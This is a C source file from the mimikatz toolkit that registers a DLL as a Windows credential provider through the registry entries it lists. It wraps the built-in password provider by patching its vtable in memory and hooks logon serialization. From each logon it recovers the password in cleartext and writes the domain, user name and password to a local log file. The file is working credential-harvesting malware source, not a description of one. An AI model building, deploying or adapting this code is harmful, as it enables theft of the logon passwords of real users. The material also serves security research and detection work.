mimikatz/mimilib/kcredentialprovider.c

318 lines
8.4 KiB
C

/* Benjamin DELPY `gentilkiwi`
https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Vincent LE TOUX
http://pingcastle.com / http://mysmartlogon.com
vincent.letoux@gmail.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kcredentialprovider.h"
/* Register
* ========
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{DC2EB890-F593-4E6D-A085-E8C112CFBEC4}]
@="mimilib"
[HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{DC2EB890-F593-4E6D-A085-E8C112CFBEC4}]
@="mimilib"
[HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{DC2EB890-F593-4E6D-A085-E8C112CFBEC4}\InprocServer32]
@="mimilib.dll"
"ThreadingModel"="Apartment"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{DC2EB890-F593-4E6D-A085-E8C112CFBEC4}]
@="mimilib"
[HKEY_CLASSES_ROOT\CLSID\{DC2EB890-F593-4E6D-A085-E8C112CFBEC4}]
@="mimilib"
[HKEY_CLASSES_ROOT\CLSID\{DC2EB890-F593-4E6D-A085-E8C112CFBEC4}\InprocServer32]
@="mimilib.dll"
"ThreadingModel"="Apartment"
* Unregister
* ==========
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{DC2EB890-F593-4E6D-A085-E8C112CFBEC4}]
[-HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{DC2EB890-F593-4E6D-A085-E8C112CFBEC4}]
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{DC2EB890-F593-4E6D-A085-E8C112CFBEC4}]
[-HKEY_CLASSES_ROOT\CLSID\{DC2EB890-F593-4E6D-A085-E8C112CFBEC4}]
*/
DEFINE_GUID(IID_ICredentialProvider, 0xd27c3481, 0x5a1c, 0x45b2, 0x8a, 0xaa, 0xc2, 0x0e, 0xbb, 0xe8, 0x22, 0x9e); // d27c3481-5a1c-45b2-8aaa-c20ebbe8229e
DEFINE_GUID(CLSID_PasswordCredentialProvider, 0x60b78e88, 0xead8, 0x445c, 0x9c, 0xfd, 0x0b, 0x87, 0xf7, 0x4e, 0xa6, 0xcd); // 60b78e88-ead8-445c-9cfd-0b87f74ea6cd
static LONG g_cRef = 0; // global dll reference count
NTSTATUS NTAPI kredentialProvider_log(PWSTR szDomain, PWSTR szLogin, PWSTR szPassword)
{
FILE* kssp_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
if (kssp_logfile = _wfopen(L"kcredentialprovider.log", L"a"))
#pragma warning(pop)
{
klog(kssp_logfile, L"%s\\%s\t%s\n", szDomain, szLogin, szPassword);
fclose(kssp_logfile);
}
return STATUS_SUCCESS;
}
GetSerializationType GetSerializationOld;
HRESULT STDMETHODCALLTYPE GetSerializationNew(IUnknown* This, /* [out] */ PVOID pcpgsr, /* [out] */ CREDENTIAL_PROVIDER_CREDENTIAL_SERIALIZATION* pcpcs, /* [out] */ LPWSTR* ppszOptionalStatusText, /* [out] */ PVOID pcpsiOptionalStatusIcon)
{
GetSerializationType ser = NULL;
HRESULT hr;
TCHAR szUser[256], szPassword[256], szDomain[256], szPasswordClearText[256];
DWORD dwUserLen = ARRAYSIZE(szUser), dwPasswordLen = ARRAYSIZE(szPassword), dwDomainLen = ARRAYSIZE(szDomain), dwPasswordClearTextLen = ARRAYSIZE(szPasswordClearText);
CRED_PROTECTION_TYPE ctype;
HMODULE hAdvApi32, hCredUI;
CredUnPackAuthenticationBufferWFct* CredUnPackAuthenticationBufferInst;
CredIsProtectedWFct* CredIsProtectedInst;
CredUnprotectWFct* CredUnprotectWInst;
if (GetSerializationOld == NULL)
return E_NOTIMPL;
hr = GetSerializationOld(This, pcpgsr, pcpcs, ppszOptionalStatusText, pcpsiOptionalStatusIcon);
if (!SUCCEEDED(hr))
{
return hr;
}
hCredUI = LoadLibrary(L"Credui.dll");
if(hCredUI)
{
hAdvApi32 = LoadLibrary(L"advapi32.dll");
if(hAdvApi32)
{
CredUnPackAuthenticationBufferInst = (CredUnPackAuthenticationBufferWFct*) GetProcAddress(hCredUI, "CredUnPackAuthenticationBufferW");
CredIsProtectedInst = (CredIsProtectedWFct*) GetProcAddress(hAdvApi32, "CredIsProtectedW");
CredUnprotectWInst = (CredUnprotectWFct*) GetProcAddress(hAdvApi32, "CredUnprotectW");
if(CredUnPackAuthenticationBufferInst && CredIsProtectedInst && CredUnprotectWInst)
{
if(CredUnPackAuthenticationBufferInst(0, pcpcs->rgbSerialization, pcpcs->cbSerialization, szUser, &dwUserLen, szDomain, &dwDomainLen, szPassword, &dwPasswordLen))
{
if (CredIsProtectedInst(szPassword, &ctype))
{
if (CredUnprotectWInst(TRUE, szPassword, dwPasswordLen, szPasswordClearText, &dwPasswordClearTextLen))
{
kredentialProvider_log(szDomain, szUser, szPasswordClearText);
}
else hr = GetLastError();
}
else
{
kredentialProvider_log(szDomain, szUser, szPassword);
}
}
else hr = GetLastError();
}
else hr = E_POINTER;
FreeModule(hAdvApi32);
}
else hr = E_HANDLE;
FreeModule(hCredUI);
}
else hr = E_HANDLE;
return hr;
}
GetCredentialAtType GetCredentialAtOld;
HRESULT(STDMETHODCALLTYPE GetCredentialAt)(IUnknown* This, DWORD dwIndex, ICredentialProviderCredential** ppcpc)
{
HRESULT hr = GetCredentialAtOld(This, dwIndex, ppcpc);
DWORD dwOld;
if (!SUCCEEDED(hr))
{
return hr;
}
if ((*ppcpc)->lpVtbl->GetSerialization == GetSerializationNew)
return hr;
GetSerializationOld = (*ppcpc)->lpVtbl->GetSerialization;
if (!VirtualProtect(&((*ppcpc)->lpVtbl->GetSerialization), sizeof(LONG_PTR), PAGE_EXECUTE_READWRITE, &dwOld))
{
return hr;
}
(*ppcpc)->lpVtbl->GetSerialization = GetSerializationNew;
VirtualProtect(&((*ppcpc)->lpVtbl->GetSerialization), sizeof(LONG_PTR), dwOld, &dwOld); // just in case...
return hr;
}
// Boilerplate method to create an instance of our provider.
HRESULT CEIDProvider_CreateInstance(REFIID riid, void** ppv)
{
HRESULT hr;
ICredentialProvider* object = NULL;
DWORD dwOld = 0;
if (!IsEqualIID(riid, (PVOID)&IID_ICredentialProvider))
{
return E_NOINTERFACE;
}
hr = CoCreateInstance(&CLSID_PasswordCredentialProvider, NULL, CLSCTX_INPROC_SERVER, riid, (PVOID*)&object);
if (!SUCCEEDED(hr))
{
return E_NOINTERFACE;
}
GetCredentialAtOld = (GetCredentialAtType)object->lpVtbl->GetCredentialAt;
if (!VirtualProtect(&(object->lpVtbl->GetCredentialAt), sizeof(LONG_PTR), PAGE_EXECUTE_READWRITE, &dwOld))
{
return E_NOINTERFACE;
}
object->lpVtbl->GetCredentialAt = GetCredentialAt;
VirtualProtect(&(object->lpVtbl->GetCredentialAt), sizeof(LONG_PTR), dwOld, &dwOld); // just in case
*ppv = NULL;
object->lpVtbl->Release(object);
return E_NOINTERFACE;
}
ULONG STDMETHODCALLTYPE CClassFactoryAddRef(__RPC__in IClassFactory* This)
{
return ((CClassFactory*)This)->_cRef++;
}
ULONG STDMETHODCALLTYPE CClassFactoryRelease(__RPC__in IClassFactory* This)
{
LONG cRef = ((CClassFactory*)This)->_cRef--;
if (!cRef)
{
free(This);
}
return cRef;
}
HRESULT STDMETHODCALLTYPE CClassFactoryQueryInterface(IClassFactory* This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ void** ppvObject)
{
HRESULT hr;
if (ppvObject != NULL)
{
if (IsEqualIID(&IID_IUnknown, riid) || IsEqualIID(&IID_IClassFactory, riid))
{
*ppvObject = This;
CClassFactoryAddRef(This);
hr = S_OK;
}
else
{
*ppvObject = NULL;
hr = E_NOINTERFACE;
}
}
else
{
hr = E_INVALIDARG;
}
return hr;
}
HRESULT STDMETHODCALLTYPE CClassFactoryCreateInstance(IClassFactory* This, /* [annotation][unique][in] */ IUnknown* pUnkOuter, /* [annotation][in] */ REFIID riid, /* [annotation][iid_is][out] */ void** ppvObject)
{
HRESULT hr;
if (!pUnkOuter)
{
if (IsEqualIID(&IID_ICredentialProvider, riid))
{
hr = CEIDProvider_CreateInstance(riid, ppvObject);
}
}
else
{
*ppvObject = NULL;
hr = CLASS_E_NOAGGREGATION;
}
return hr;
}
HRESULT STDMETHODCALLTYPE CClassFactoryLockServer(IClassFactory* This, /* [in] */ BOOL fLock)
{
if (fLock)
{
InterlockedIncrement(&g_cRef);
}
else
{
InterlockedDecrement(&g_cRef);
}
return S_OK;
}
CONST_VTBL struct IClassFactoryVtbl factoryVtbl = {
CClassFactoryQueryInterface,
CClassFactoryAddRef,
CClassFactoryRelease,
CClassFactoryCreateInstance,
CClassFactoryLockServer,
};
HRESULT CClassFactory_CreateInstance(REFCLSID rclsid, REFIID riid, void** ppv)
{
HRESULT hr = E_OUTOFMEMORY;
IClassFactory* pcf = (IClassFactory*)malloc(sizeof(CClassFactory));
if (pcf)
{
((CClassFactory*)pcf)->_cRef = 0;
pcf->lpVtbl = &factoryVtbl;
hr = pcf->lpVtbl->QueryInterface(pcf, riid, ppv);
pcf->lpVtbl->Release(pcf);
}
else
{
hr = E_OUTOFMEMORY;
}
return hr;
}
// DLL entry point.
STDAPI kcredentialprovider_DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID FAR* ppv)
{
return CClassFactory_CreateInstance(rclsid, riid, ppv);
}
STDAPI kcredentialprovider_DllCanUnloadNow()
{
HRESULT hr;
if (g_cRef > 0)
{
hr = S_FALSE; // cocreated objects still exist, don't unload
}
else
{
hr = S_OK; // refcount is zero, ok to unload
}
return hr;
}